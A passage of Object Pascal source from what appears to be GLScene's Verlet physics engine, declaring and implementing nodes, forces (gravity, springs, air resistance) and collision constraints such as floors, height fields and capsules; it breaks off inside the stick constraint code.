TVFAirResistance = class(TGLVerletGlobalForce)
private
FDragCoeff: Single;
FWindDirection: TAffineVector;
FWindMagnitude: Single;
FWindChaos: Single;
procedure SetWindDirection(const Value: TAffineVector);
public
constructor Create(const aOwner: TGLVerletWorld); override;
procedure AddForceToNode(const aNode: TVerletNode); override;
property DragCoeff: Single read FDragCoeff write FDragCoeff;
property WindDirection: TAffineVector read FWindDirection write SetWindDirection;
property WindMagnitude: Single read FWindMagnitude write FWindMagnitude;
{ Measures how chaotic the wind is, as a fraction of the wind magnitude }
property WindChaos: Single read FWindChaos write FWindChaos;
end;
TVFSpring = class(TGLVerletDualForce)
private
FRestLength: Single;
FStrength: Single;
FDamping: Single;
FSlack: Single;
FForceFactor: Single;
protected
procedure SetSlack(const Value: Single);
public
procedure AddForce(const vpt: TVerletProgressTimes); override;
// Must be invoked after adjust node locations or strength
procedure SetRestLengthToCurrent;
property Strength: Single read FStrength write FStrength;
property Damping: Single read FDamping write FDamping;
property Slack: Single read FSlack write SetSlack;
end;
{ Floor collision constraint }
TVCFloor = class(TGLVerletGlobalFrictionConstraintSP)
private
FBounceRatio, FFloorLevel: Single;
FNormal: TAffineVector;
protected
procedure SetNormal(const Value: TAffineVector);
public
constructor Create(const aOwner: TGLVerletWorld); override;
procedure PerformSpaceQuery; override;
procedure SatisfyConstraintForNode(const aNode: TVerletNode;
const iteration, maxIterations: Integer); override;
property BounceRatio: Single read FBounceRatio write FBounceRatio;
property FloorLevel: Single read FFloorLevel write FFloorLevel;
property Normal: TAffineVector read FNormal write SetNormal;
end;
TVCHeightField = class;
TVCHeightFieldOnNeedHeight = function(hfConstraint: TVCHeightField; node: TVerletNode): Single of object;
{ HeightField collision constraint (punctual!) }
TVCHeightField = class(TVCFloor)
private
FOnNeedHeight: TVCHeightFieldOnNeedHeight;
public
procedure SatisfyConstraintForNode(const aNode: TVerletNode;
const iteration, maxIterations: Integer); override;
property OnNeedHeight: TVCHeightFieldOnNeedHeight read FOnNeedHeight write FOnNeedHeight;
end;
{ Stick constraint.
Imposes a fixed distance between two nodes. }
TVCStick = class(TGLVerletDualConstraint)
private
FSlack: Single;
FRestLength: Single;
public
procedure SatisfyConstraint(const iteration, maxIterations: Integer); override;
procedure SetRestLengthToCurrent;
property Slack: Single read FSlack write FSlack;
property RestLength: Single read FRestLength write FRestLength;
end;
{ Rigid body constraint.
Regroups several nodes in a rigid body conformation, somewhat similar
to a stick but for multiple nodes.
EXPERIMENTAL, DOES NOT WORK! }
TVCRigidBody = class(TVerletGroupConstraint)
private
FNodeParams: array of TAffineVector;
FNodeCoords: array of TAffineVector;
FNatMatrix, FInvNatMatrix: TAffineMatrix;
protected
procedure ComputeBarycenter(var barycenter: TAffineVector);
procedure ComputeNaturals(const barycenter: TAffineVector;
var natX, natY, natZ: TAffineVector);
public
procedure ComputeRigidityParameters;
procedure SatisfyConstraint(const iteration, maxIterations: Integer); override;
end;
{ Slider constraint.
Imposes that two nodes be aligned on a defined direction, on which they
can slide freely. Note that the direction is fixed and won't rotate
with the verlet assembly!. }
TVCSlider = class(TGLVerletDualConstraint)
private
FSlideDirection: TAffineVector;
FConstrained: Boolean;
protected
procedure SetSlideDirection(const Value: TAffineVector);
public
procedure SatisfyConstraint(const iteration, maxIterations: Integer); override;
property SlideDirection: TAffineVector read FSlideDirection write SetSlideDirection;
{ Constrain NodeB to the halfplane defined by NodeA and SlideDirection. }
property Constrained: Boolean read FConstrained write FConstrained;
end;
{ Sphere collision constraint. }
TVCSphere = class(TGLVerletGlobalFrictionConstraintSphere)
private
FRadius: Single;
public
function GetBSphere: TBSphere; override;
procedure SatisfyConstraintForNode(const aNode: TVerletNode;
const iteration, maxIterations: Integer); override;
procedure SatisfyConstraintForEdge(const aEdge: TGLVerletEdge;
const iteration, maxIterations: Integer); override;
property Radius: Single read FRadius write FRadius;
end;
{ Cylinder collision constraint.
The cylinder is considered infinite by this constraint. }
TVCCylinder = class(TGLVerletGlobalFrictionConstraint)
private
FAxis: TAffineVector;
FRadius, FRadius2: Single;
protected
procedure SetRadius(const val: Single);
public
procedure SatisfyConstraintForNode(const aNode: TVerletNode;
const iteration, maxIterations: Integer); override;
{ A base point on the cylinder axis.
Can theoretically be anywhere, however, to reduce floating point
precision issues, choose it in the area where collision detection
will occur. }
// property Base : TAffineVector read FBase write FBase;
{ Cylinder axis vector. Must be normalized. }
property Axis: TAffineVector read FAxis write FAxis;
{ Cylinder radius. }
property Radius: Single read FRadius write SetRadius;
end;
{ Cube collision constraint. }
TVCCube = class(TGLVerletGlobalFrictionConstraintBox)
private
FHalfSides: TAffineVector;
FSides: TAffineVector;
FDirection: TAffineVector;
procedure SetSides(const Value: TAffineVector);
public
function GetAABB: TAABB; override;
procedure SatisfyConstraintForNode(const aNode: TVerletNode;
const iteration, maxIterations: Integer); override;
// Broken and very slow!
procedure SatisfyConstraintForEdge(const aEdge: TGLVerletEdge;
const iteration, maxIterations: Integer); override;
property Direction: TAffineVector read FDirection write FDirection;
property Sides: TAffineVector read FSides write SetSides;
end;
{ Capsule collision constraint. }
TVCCapsule = class(TGLVerletGlobalFrictionConstraintSphere)
private
FAxis: TAffineVector;
FRadius, FRadius2, FLength, FLengthDiv2: Single;
protected
procedure SetAxis(const val: TAffineVector);
procedure SetRadius(const val: Single);
procedure SetLength(const val: Single);
public
function GetBSphere: TBSphere; override;
procedure SatisfyConstraintForNode(const aNode: TVerletNode;
const iteration, maxIterations: Integer); override;
procedure SatisfyConstraintForEdge(const aEdge: TGLVerletEdge;
const iteration, maxIterations: Integer); override;
// property Base : TAffineVector read FBase write FBase;
property Axis: TAffineVector read FAxis write SetAxis;
property Radius: Single read FRadius write SetRadius;
property Length: Single read FLength write SetLength;
end;
{ Specialized verlet node that can be anchored to a GLScene object. If it's
anchored and has the property "NailedDown" set, it will remain in the same
relative position to the GLScene object. }
TGLVerletNode = class(TVerletNode)
private
FRelativePosition: TAffineVector;
FGLBaseSceneObject: TGLBaseSceneObject;
procedure SetGLBaseSceneObject(const Value: TGLBaseSceneObject);
protected
procedure SetLocation(const Value: TAffineVector); override;
public
procedure Verlet(const vpt: TVerletProgressTimes); override;
property GLBaseSceneObject: TGLBaseSceneObject read FGLBaseSceneObject write SetGLBaseSceneObject;
property RelativePosition: TAffineVector read FRelativePosition write FRelativePosition;
end;
function CreateVCPlaneFromGLPlane(Plane: TGLPlane; VerletWorld: TGLVerletWorld; Offset: Single): TVCFloor;
// ------------------------------------------------------------------
implementation
// ------------------------------------------------------------------
function CreateVCPlaneFromGLPlane(Plane: TGLPlane; VerletWorld: TGLVerletWorld; Offset: Single): TVCFloor;
begin
result := TVCFloor.Create(VerletWorld);
with result do
begin
Normal := VectorNormalize(Plane.Direction.AsAffineVector);
Location := VectorAdd(Plane.Position.AsAffineVector, VectorScale(Normal, Offset));
end;
end;
// ----------------------------
{ TGLVerletNode }
// ----------------------------
procedure TGLVerletNode.SetGLBaseSceneObject(const Value: TGLBaseSceneObject);
begin
FGLBaseSceneObject := Value;
if Assigned(GLBaseSceneObject) and NailedDown then
FRelativePosition := AffineVectorMake(GLBaseSceneObject.AbsoluteToLocal(VectorMake(FLocation, 1)));
end;
procedure TGLVerletNode.SetLocation(const Value: TAffineVector);
begin
inherited;
if Assigned(GLBaseSceneObject) and NailedDown then
FRelativePosition := GLBaseSceneObject.AbsoluteToLocal(Value);
end;
procedure TGLVerletNode.Verlet(const vpt: TVerletProgressTimes);
begin
if Assigned(GLBaseSceneObject) and NailedDown then
begin
FLocation := GLBaseSceneObject.LocalToAbsolute(FRelativePosition);
end
else
inherited;
end;
// ------------------
// ------------------ TVerletNode ------------------
// ------------------
constructor TVerletNode.CreateOwned(const aOwner: TGLVerletWorld);
begin
inherited CreateOwned(aOwner.SpacePartition);
if Assigned(aOwner) then
aOwner.AddNode(Self);
FWeight := 1;
FInvWeight := 1;
FRadius := 0;
FFriction := 1;
end;
destructor TVerletNode.Destroy;
begin
if Assigned(FOwner) then
FOwner.RemoveNode(Self);
inherited;
end;
{ TODO: Improve the friction calculations
Friction = - NormalForce * FrictionConstant
To compute the NormalForce, which is the force acting on the normal of the
collider, we can use the fact that F = m*a.
m is the weight of the node, a is the acceleration (retardation) caused by the
collission.
Acceleration := - PenetrationDepth / Owner.FCurrentDeltaTime;
The force with which the node has been "stopped" from penetration
NormalForce := Weight * Acceleration;
This force should be applied to stopping the movement.
}
procedure TVerletNode.ApplyFriction(const friction, penetrationDepth: Single;
const surfaceNormal: TAffineVector);
var
frictionMove, move, moveNormal: TAffineVector;
realFriction: Single;
begin
if (penetrationDepth > 0) then
begin
realFriction := friction * FFriction;
if realFriction > 0 then
begin
VectorSubtract(Location, OldLocation, move);
moveNormal := VectorScale(surfaceNormal, VectorDotProduct(move, surfaceNormal));
frictionMove := VectorSubtract(move, moveNormal);
if penetrationDepth > Radius then
ScaleVector(frictionMove, realFriction)
else
ScaleVector(frictionMove, realFriction * Sqrt(penetrationDepth / Radius));
VectorAdd(OldLocation, frictionMove, FOldLocation);
end;
end;
end;
procedure TVerletNode.OldApplyFriction(const friction, penetrationDepth: Single);
var
frictionMove, move: TAffineVector;
// pd : Single;
begin
VectorSubtract(Location, OldLocation, move);
VectorScale(move, friction * FFriction, frictionMove);
// pd:=Abs(penetrationDepth);
// ScaleVector(frictionMove, friction*pd);
VectorAdd(OldLocation, frictionMove, FOldLocation);
end;
function TVerletNode.DistanceToNode(const node: TVerletNode): Single;
begin
Result := VectorDistance(Location, node.Location);
end;
function TVerletNode.GetMovement: TAffineVector;
begin
Result := VectorSubtract(Location, OldLocation);
end;
procedure TVerletNode.Initialize;
begin
FOldLocation := Location;
end;
procedure TVerletNode.SetWeight(const Value: Single);
begin
FWeight := Value;
if Value <> 0 then
FInvWeight := 1 / Value
else
FInvWeight := 1;
end;
procedure TVerletNode.Verlet(const vpt: TVerletProgressTimes);
var
newLocation, temp, move, accel: TAffineVector;
begin
if NailedDown then
begin
FOldLocation := Location;
end
else
begin
if Owner.Inertia then
begin
temp := Location;
VectorSubtract(Location, OldLocation, move);
ScaleVector(move, 1 - Owner.Drag); // *Sqr(deltaTime));
VectorAdd(Location, move, newLocation);
VectorScale(Force, vpt.sqrDeltaTime * FInvWeight, accel);
AddVector(newLocation, accel);
Location := newLocation;
FOldLocation := temp;
end
else
begin
newLocation := Location;
VectorScale(Force, vpt.sqrDeltaTime * FInvWeight, accel);
AddVector(newLocation, accel);
Location := newLocation;
FOldLocation := Location;
end;
end;
end;
procedure TVerletNode.AfterProgress;
begin
// nothing here, reserved for subclass use
end;
// ------------------
// ------------------ TVerletNodeList ------------------
// ------------------
function TVerletNodeList.GetItems(i: Integer): TVerletNode;
begin
result := Get(i);
end;
procedure TVerletNodeList.SetItems(i: Integer; const Value: TVerletNode);
begin
Put(i, Value);
end;
function TVerletNode.GetSpeed: TAffineVector;
begin
result := VectorScale(VectorSubtract(FLocation, FOldLocation), 1 / Owner.CurrentDeltaTime);
end;
// ------------------
// ------------------ TVerletConstraint ------------------
// ------------------
constructor TVerletConstraint.Create(const aOwner: TGLVerletWorld);
begin
inherited Create;
if Assigned(aOwner) then
aOwner.AddConstraint(Self);
FEnabled := True;
end;
destructor TVerletConstraint.Destroy;
begin
if Assigned(FOwner) then
FOwner.RemoveConstraint(Self);
inherited;
end;
procedure TVerletConstraint.BeforeIterations;
begin
// NADA!
end;
// ------------------
// ------------------ TGLVerletDualConstraint ------------------
// ------------------
procedure TGLVerletDualConstraint.RemoveNode(const aNode: TVerletNode);
begin
if FNodeA = aNode then
FNodeA := nil;
if FNodeB = aNode then
FNodeB := nil;
if (FNodeA = nil) and (FNodeA = nil) then
Free;
end;
// ------------------
// ------------------ TVerletGroupConstraint ------------------
// ------------------
constructor TVerletGroupConstraint.Create(const aOwner: TGLVerletWorld);
begin
inherited Create(aOwner);
FNodes := TVerletNodeList.Create;
end;
destructor TVerletGroupConstraint.Destroy;
begin
FNodes.Free;
inherited;
end;
procedure TVerletGroupConstraint.RemoveNode(const aNode: TVerletNode);
begin
FNodes.Remove(aNode);
end;
// ------------------
// ------------------ TGLVerletGlobalConstraint ------------------
// ------------------
procedure TGLVerletGlobalConstraint.AddKickbackForceAt(const Pos: TAffineVector; const Force: TAffineVector);
var
dPos: TAffineVector;
begin
// Sum forces
AddVector(FKickbackForce, Force);
// Sum torques
dPos := VectorSubtract(Pos, FLocation);
AddVector(FKickbackTorque, VectorCrossProduct(dPos, Force));
end;
function TGLVerletGlobalConstraint.TranslateKickbackTorque(const TorqueCenter: TAffineVector): TAffineVector;
begin
// EM(b) = EM(a) + EF x VectorSubtract(b, a).
result := VectorAdd(FKickbackTorque, VectorCrossProduct(VectorSubtract(TorqueCenter, FLocation), FKickbackForce));
end;
procedure TGLVerletGlobalConstraint.BeforeIterations;
begin
inherited;
FKickbackForce := NullVector;
FKickbackTorque := NullVector;
end;
procedure TGLVerletGlobalConstraint.RemoveNode(const aNode: TVerletNode);
begin
// nothing to do here
end;
procedure TGLVerletGlobalConstraint.SetLocation(const Value: TAffineVector);
begin
FLocation := Value;
end;
procedure TGLVerletGlobalConstraint.SatisfyConstraint(const iteration, maxIterations: Integer);
var
i: Integer;
node: TVerletNode;
begin
if cctNode in Owner.CollisionConstraintTypes then
for i := 0 to Owner.Nodes.Count - 1 do
begin
node := TVerletNode(Owner.Nodes[i]);
if not node.NailedDown then
SatisfyConstraintForNode(node, iteration, maxIterations);
end; // }
if cctEdge in Owner.CollisionConstraintTypes then
for i := 0 to Owner.SolidEdges.Count - 1 do
begin
SatisfyConstraintForEdge(Owner.SolidEdges[i], iteration, maxIterations);
end; // }
end;
procedure TGLVerletGlobalConstraint.SatisfyConstraintForEdge(const aEdge: TGLVerletEdge;
const iteration, maxIterations: Integer);
begin
// Purely virtual, but can't be abstract...
end;
// ------------------
// ------------------ TGLVerletGlobalFrictionConstraint ------------------
// ------------------
constructor TGLVerletGlobalFrictionConstraint.Create(const aOwner: TGLVerletWorld);
begin
inherited;
FFrictionRatio := cDEFAULT_CONSTRAINT_FRICTION;
end;
// ------------------
// ------------------ TGLVerletGlobalFrictionConstraintSP ------------------
// ------------------
procedure TGLVerletGlobalFrictionConstraintSP.SatisfyConstraint(const iteration, maxIterations: Integer);
var
i: Integer;
node: TVerletNode;
edge: TGLVerletEdge;
SP: TBaseSpacePartition;
Leaf: TSpacePartitionLeaf;
begin
if Owner.SpacePartition = nil then
begin
inherited;
Exit;
end;
PerformSpaceQuery;
SP := Owner.SpacePartition;
for i := 0 to SP.QueryResult.Count - 1 do
begin
Leaf := SP.QueryResult[i];
if Leaf is TVerletNode then
begin
if cctNode in Owner.CollisionConstraintTypes then
begin
node := Leaf as TVerletNode;
if not node.NailedDown then
SatisfyConstraintForNode(node, iteration, maxIterations);
end;
end
else if Leaf is TGLVerletEdge then
begin
if cctEdge in Owner.CollisionConstraintTypes then
begin
edge := Leaf as TGLVerletEdge;
SatisfyConstraintForEdge(edge, iteration, maxIterations);
end;
end
else
Assert(False, 'Bad objects in list!');
end;
end;
// ------------------
// ------------------ TVerletConstraintList ------------------
// ------------------
function TVerletConstraintList.GetItems(i: Integer): TVerletConstraint;
begin
result := Get(i);
end;
procedure TVerletConstraintList.SetItems(i: Integer; const Value: TVerletConstraint);
begin
Put(i, Value);
end;
// ------------------
// ------------------ TGLVerletForce ------------------
// ------------------
constructor TGLVerletForce.Create(const aOwner: TGLVerletWorld);
begin
inherited Create;
if Assigned(aOwner) then
aOwner.AddForce(Self);
end;
destructor TGLVerletForce.Destroy;
begin
if Assigned(FOwner) then
FOwner.RemoveForce(Self);
inherited;
end;
// ------------------
// ------------------ TVerletGroupForce ------------------
// ------------------
constructor TVerletGroupForce.Create(const aOwner: TGLVerletWorld);
begin
inherited Create(aOwner);
FNodes := TVerletNodeList.Create;
end;
destructor TVerletGroupForce.Destroy;
begin
FNodes.Free;
inherited;
end;
procedure TVerletGroupForce.RemoveNode(const aNode: TVerletNode);
begin
FNodes.Remove(aNode);
end;
// ------------------
// ------------------ TGLVerletGlobalForce ------------------
// ------------------
procedure TGLVerletGlobalForce.RemoveNode(const aNode: TVerletNode);
begin
// nothing to do here
end;
procedure TGLVerletGlobalForce.AddForce;
var
i: Integer;
node: TVerletNode;
begin
for i := 0 to Owner.Nodes.Count - 1 do
begin
node := TVerletNode(Owner.Nodes.List[i]);
if not node.NailedDown then
AddForceToNode(node);
end;
end;
// ------------------
// ------------------ TGLVerletDualForce ------------------
// ------------------
procedure TGLVerletDualForce.RemoveNode(const aNode: TVerletNode);
begin
if FNodeA = aNode then
FNodeA := nil;
if FNodeB = aNode then
FNodeB := nil;
end;
// ------------------
// ------------------ TGLVerletForceList ------------------
// ------------------
function TGLVerletForceList.GetItems(i: Integer): TGLVerletForce;
begin
result := Get(i);
end;
procedure TGLVerletForceList.SetItems(i: Integer; const Value: TGLVerletForce);
begin
Put(i, Value);
end;
// ------------------
// ------------------ TGLVerletWorld ------------------
// ------------------
constructor TGLVerletWorld.Create;
begin
inherited;
FDrag := G_DRAG;
FNodes := TVerletNodeList.Create;
FConstraints := TVerletConstraintList.Create;
FConstraintsWithBeforeIterations := TVerletConstraintList.Create;
FForces := TGLVerletForceList.Create;
FMaxDeltaTime := 0.02;
FIterations := 3;
FSolidEdges := TGLVerletEdgeList.Create;
FCurrentStepCount := 0;
FUpdateSpacePartion := uspNever;
FCollisionConstraintTypes := [cctNode, cctEdge];
FSpacePartition := nil;
FVerletNodeClass := TVerletNode;
FInertia := True;
end;
destructor TGLVerletWorld.Destroy;
var
i: Integer;
begin
// Delete all nodes
for i := 0 to FNodes.Count - 1 do
with FNodes[i] do
begin
FOwner := nil;
Free;
end;
FreeAndNil(FNodes);
// Delete all constraints
for i := 0 to FConstraints.Count - 1 do
with FConstraints[i] do
begin
FOwner := nil;
Free;
end;
FreeAndNil(FConstraints);
// Delete all forces
for i := 0 to FForces.Count - 1 do
with FForces[i] do
begin
FOwner := nil;
Free;
end;
FreeAndNil(FForces);
FreeAndNil(FConstraintsWithBeforeIterations);
for i := 0 to FSolidEdges.Count - 1 do
FSolidEdges[i].Free;
FreeAndNil(FSolidEdges);
FreeAndNil(FSpacePartition);
inherited;
end;
procedure TGLVerletWorld.AccumulateForces(const vpt: TVerletProgressTimes);
var
i: Integer;
begin
// First of all, reset all forces
for i := 0 to FNodes.Count - 1 do
FNodes[i].FForce := NullVector;
// Now, update all forces in the assembly!
for i := 0 to FForces.Count - 1 do
FForces[i].AddForce(vpt);
end;
function TGLVerletWorld.AddNode(const aNode: TVerletNode): Integer;
begin
if Assigned(aNode.FOwner) then
aNode.Owner.FNodes.Remove(aNode);
result := FNodes.Add(aNode);
aNode.FOwner := Self;
end;
procedure TGLVerletWorld.RemoveNode(const aNode: TVerletNode);
var
i: Integer;
begin
if aNode.Owner = Self then
begin
FNodes.Remove(aNode);
aNode.FOwner := nil;
// drop refs in constraints
for i := FConstraints.Count - 1 downto 0 do
FConstraints[i].RemoveNode(aNode);
// drop refs in forces
for i := FForces.Count - 1 downto 0 do
FForces[i].RemoveNode(aNode);
end;
end;
function TGLVerletWorld.AddConstraint(const aConstraint: TVerletConstraint): Integer;
begin
if Assigned(aConstraint.FOwner) then
aConstraint.Owner.FConstraints.Remove(aConstraint);
result := FConstraints.Add(aConstraint);
aConstraint.FOwner := Self;
end;
procedure TGLVerletWorld.RemoveConstraint(const aConstraint: TVerletConstraint);
begin
if aConstraint.Owner = Self then
begin
FConstraints.Remove(aConstraint);
aConstraint.FOwner := nil;
end;
end;
function TGLVerletWorld.AddForce(const aForce: TGLVerletForce): Integer;
begin
if Assigned(aForce.FOwner) then
aForce.Owner.FForces.Remove(aForce);
result := FForces.Add(aForce);
aForce.FOwner := Self;
end;
procedure TGLVerletWorld.RemoveForce(const aForce: TGLVerletForce);
begin
if aForce.Owner = Self then
begin
FForces.Remove(aForce);
aForce.FOwner := nil;
end;
end;
procedure TGLVerletWorld.AddSolidEdge(const aNodeA, aNodeB: TVerletNode);
var
VerletEdge: TGLVerletEdge;
begin
VerletEdge := TGLVerletEdge.CreateEdgeOwned(aNodeA, aNodeB);
SolidEdges.Add(VerletEdge);
end;
function TGLVerletWorld.FirstNode: TVerletNode;
begin
Assert(FNodes.Count > 0, 'There are no nodes in the assembly!');
result := FNodes[0];
end;
function TGLVerletWorld.LastNode: TVerletNode;
begin
Assert(FNodes.Count > 0, 'There are no nodes in the assembly!');
result := FNodes[FNodes.Count - 1];
end;
function TGLVerletWorld.CreateOwnedNode(const Location: TAffineVector;
const aRadius: Single = 0; const aWeight: Single = 1): TVerletNode;
begin
Result:=VerletNodeClass.CreateOwned(Self);
Result.Location:=Location;
Result.OldLocation:=Location;
Result.Weight:=aWeight;
Result.Radius:=aRadius;
end;
function TGLVerletWorld.CreateStick(const aNodeA, aNodeB: TVerletNode; const Slack: Single = 0): TVCStick;
begin
Assert(aNodeA <> aNodeB, 'Can''t create stick between same node!');
Result:=TVCStick.Create(Self);
Result.NodeA:=aNodeA;
Result.NodeB:=aNodeB;
Result.SetRestLengthToCurrent;
Result.Slack := Slack;
end;
function TGLVerletWorld.CreateSpring(const aNodeA, aNodeB: TVerletNode;
const aStrength, aDamping: Single; const aSlack: Single = 0): TVFSpring;
begin
Result:=TVFSpring.Create(Self);
Result.NodeA:=aNodeA;
Result.NodeB:=aNodeB;
Result.Strength:=aStrength;
Result.Damping:=aDamping;
Result.Slack:=aSlack;
Result.SetRestLengthToCurrent;
end;
function TGLVerletWorld.CreateSlider(const aNodeA, aNodeB: TVerletNode;
const aSlideDirection: TAffineVector): TVCSlider;
begin
Result:=TVCSlider.Create(Self);
Result.NodeA:=aNodeA;
Result.NodeB:=aNodeB;
Result.SlideDirection:=aSlideDirection;
end;
procedure TGLVerletWorld.Initialize;
var
i: Integer;
begin
for i := 0 to FNodes.Count - 1 do
FNodes[i].Initialize;
end;
function TGLVerletWorld.Progress(const deltaTime, newTime: Double): Integer;
var
i: Integer;
ticks: Integer;
myDeltaTime: Single;
vpt: TVerletProgressTimes;
begin
ticks := 0;
myDeltaTime := FMaxDeltaTime;
FCurrentDeltaTime := FMaxDeltaTime;
FInvCurrentDeltaTime := 1 / FCurrentDeltaTime;
vpt.deltaTime := myDeltaTime;
vpt.sqrDeltaTime := Sqr(myDeltaTime);
vpt.invSqrDeltaTime := 1 / vpt.sqrDeltaTime;
while FSimTime < newTime do
begin
Inc(ticks);
FSimTime := FSimTime + myDeltaTime;
vpt.newTime := FSimTime;
Verlet(vpt);
AccumulateForces(vpt);
SatisfyConstraints(vpt);
if FInertaPauseSteps > 0 then
begin
dec(FInertaPauseSteps);
if FInertaPauseSteps = 0 then
Inertia := True;
end;
Break;
end;
result := ticks;
for i := 0 to FNodes.Count - 1 do
FNodes[i].AfterProgress;
end;
procedure TGLVerletWorld.DoUpdateSpacePartition;
var
i: Integer;
begin
if Assigned(SpacePartition) then
begin
for i := 0 to FSolidEdges.Count - 1 do
if (FSolidEdges[i].FNodeA.FChangedOnStep = FCurrentStepCount) or
(FSolidEdges[i].FNodeB.FChangedOnStep = FCurrentStepCount) then
FSolidEdges[i].Changed;
for i := 0 to FNodes.Count - 1 do
if (FNodes[i].FChangedOnStep = FCurrentStepCount) then
FNodes[i].Changed;
end;
end;
procedure TGLVerletWorld.SatisfyConstraints(const vpt: TVerletProgressTimes);
var
i, j: Integer;
Constraint: TVerletConstraint;
begin
for i := 0 to FConstraintsWithBeforeIterations.Count - 1 do
begin
Constraint := FConstraintsWithBeforeIterations[i];
Constraint.BeforeIterations;
end;
if UpdateSpacePartion = uspEveryFrame then
Inc(FCurrentStepCount);
for j := 0 to Iterations - 1 do
begin
for i := 0 to FConstraints.Count - 1 do
with FConstraints[i] do
if Enabled then
SatisfyConstraint(j, Iterations); // }
if UpdateSpacePartion = uspEveryIteration then
DoUpdateSpacePartition;
end;
if UpdateSpacePartion = uspEveryFrame then
DoUpdateSpacePartition; // }
end;
procedure TGLVerletWorld.Verlet(const vpt: TVerletProgressTimes);
var
i: Integer;
begin
if UpdateSpacePartion <> uspNever then
Inc(FCurrentStepCount);
for i := 0 to FNodes.Count - 1 do
FNodes[i].Verlet(vpt);
if UpdateSpacePartion <> uspNever then
DoUpdateSpacePartition;
end;
// ------------------
// ------------------ TVFGravity ------------------
// ------------------
constructor TVFGravity.Create(const aOwner: TGLVerletWorld);
begin
inherited;
FGravity.X := 0;
FGravity.Y := -9.81;
FGravity.Z := 0;
end;
procedure TVFGravity.AddForceToNode(const aNode: TVerletNode);
begin
CombineVector(aNode.FForce, Gravity, @aNode.Weight);
end;
// ------------------
// ------------------ TVFSpring ------------------
// ------------------
procedure TVFSpring.SetSlack(const Value: Single);
begin
if Value <= 0 then
FSlack := 0
else
FSlack := Value;
end;
procedure TVFSpring.AddForce;
var
hTerm, dTerm: Single;
deltaV, Force: TAffineVector;
deltaLength: Single;
begin
VectorSubtract(NodeA.Location, NodeB.Location, Force);
deltaLength := VectorLength(Force);
if deltaLength > FSlack then
begin
hTerm := (FRestLength - deltaLength) * FForceFactor;
Force := VectorScale(Force, hTerm / deltaLength);
end
else
Force := NullVector;
if FDamping <> 0 then
begin
VectorSubtract(NodeA.GetMovement, NodeB.GetMovement, deltaV);
dTerm := -0.25 * FDamping * vpt.invSqrDeltaTime;
CombineVector(Force, deltaV, dTerm);
end;
AddVector(NodeA.FForce, Force);
SubtractVector(NodeB.FForce, Force);
end;
procedure TVFSpring.SetRestLengthToCurrent;
begin
FRestLength := VectorDistance(NodeA.Location, NodeB.Location);
FForceFactor := FStrength / FRestLength;
end;
// ------------------
// ------------------ TVFAirResistance ------------------
// ------------------
procedure TVFAirResistance.AddForceToNode(const aNode: TVerletNode);
var
s, F, FCurrentWindBurst: TAffineVector;
sMag: Single;
r: Single;
Chaos: Single;
begin
s := aNode.Speed;
if FWindMagnitude <> 0 then
begin
Chaos := FWindMagnitude * FWindChaos;
FCurrentWindBurst.X := FWindDirection.X * FWindMagnitude + Chaos * (random - 0.5) * 2;
FCurrentWindBurst.Y := FWindDirection.Y * FWindMagnitude + Chaos * (random - 0.5) * 2;
FCurrentWindBurst.Z := FWindDirection.Z * FWindMagnitude + Chaos * (random - 0.5) * 2;
s := VectorSubtract(s, FCurrentWindBurst);
end;
sMag := VectorLength(s);
r := aNode.Radius + 1;
if sMag <> 0 then
begin
F := VectorScale(s, -Sqr(sMag) * Sqr(r) * pi * FDragCoeff);
aNode.FForce := VectorAdd(aNode.FForce, F);
end;
end;
constructor TVFAirResistance.Create(const aOwner: TGLVerletWorld);
begin
inherited;
FDragCoeff := 0.001;
FWindDirection.X := 0;
FWindDirection.Y := 0;
FWindDirection.Z := 0;
FWindMagnitude := 0;
FWindChaos := 0;
end;
procedure TVFAirResistance.SetWindDirection(const Value: TAffineVector);
begin
FWindDirection := VectorNormalize(Value);
end;
// ------------------
// ------------------ TVCFloor ------------------
// ------------------
constructor TVCFloor.Create(const aOwner: TGLVerletWorld);
begin
inherited;
MakeVector(FNormal, 0, 1, 0);
MakeVector(FLocation, 0, 0, 0);
end;
procedure TVCFloor.PerformSpaceQuery;
begin
Owner.SpacePartition.QueryPlane(FLocation, FNormal);
end;
procedure TVCFloor.SatisfyConstraintForNode(const aNode: TVerletNode;
const iteration, maxIterations: Integer);
var
penetrationDepth: Single;
currentPenetrationDepth: Single;
d: TAffineVector;
correction: TAffineVector;
begin
currentPenetrationDepth := -PointPlaneDistance(aNode.Location, FLocation, FNormal)
+ aNode.Radius + FFloorLevel;
// Record how far down the node goes
penetrationDepth := currentPenetrationDepth;
// Correct the node location
if currentPenetrationDepth > 0 then
begin
correction := VectorScale(FNormal, currentPenetrationDepth);
if BounceRatio > 0 then
begin
d := VectorSubtract(aNode.FLocation, aNode.FOldLocation);
if FrictionRatio > 0 then
aNode.ApplyFriction(FrictionRatio, penetrationDepth, FNormal);
AddVector(aNode.FLocation, correction);
aNode.FOldLocation := VectorAdd(aNode.FLocation, VectorScale(d, BounceRatio));
end
else
begin
AddVector(aNode.FLocation, correction);
if FrictionRatio > 0 then
aNode.ApplyFriction(FrictionRatio, penetrationDepth, FNormal);
aNode.FChangedOnStep := Owner.CurrentStepCount;
end;
end;
end;
procedure TVCFloor.SetNormal(const Value: TAffineVector);
begin
FNormal := Value;
NormalizeVector(FNormal);
end;
// ------------------
// ------------------ TVCHeightField ------------------
// ------------------
procedure TVCHeightField.SatisfyConstraintForNode(const aNode: TVerletNode;
const iteration, maxIterations: Integer);
var
penetrationDepth: Single;
currentPenetrationDepth: Single;
d: TAffineVector;
correction: TAffineVector;
begin
currentPenetrationDepth := -PointPlaneDistance(aNode.Location, FLocation, FNormal) + aNode.Radius;
if Assigned(FOnNeedHeight) then
currentPenetrationDepth := currentPenetrationDepth + FOnNeedHeight(Self, aNode);
// Record how far down the node goes
penetrationDepth := currentPenetrationDepth;
// Correct the node location
if currentPenetrationDepth > 0 then
begin
correction := VectorScale(FNormal, currentPenetrationDepth);
if BounceRatio > 0 then
begin
d := VectorSubtract(aNode.FLocation, aNode.FOldLocation);
if FrictionRatio > 0 then
aNode.ApplyFriction(FrictionRatio, penetrationDepth, FNormal);
AddVector(aNode.FLocation, correction);
aNode.FOldLocation := VectorAdd(aNode.FLocation, VectorScale(d, BounceRatio));
end
else
begin
AddVector(aNode.FLocation, correction);
if FrictionRatio > 0 then
aNode.ApplyFriction(FrictionRatio, penetrationDepth, FNormal);
aNode.FChangedOnStep := Owner.CurrentStepCount;
end;
end;
end;
// ------------------
// ------------------ TVCStick ------------------
// ------------------
procedure TVCStick.SatisfyConstraint(const iteration, maxIterations: Integer);
var
delta: TAffineVector;
F, r: Single;
deltaLength, diff: Single;
const
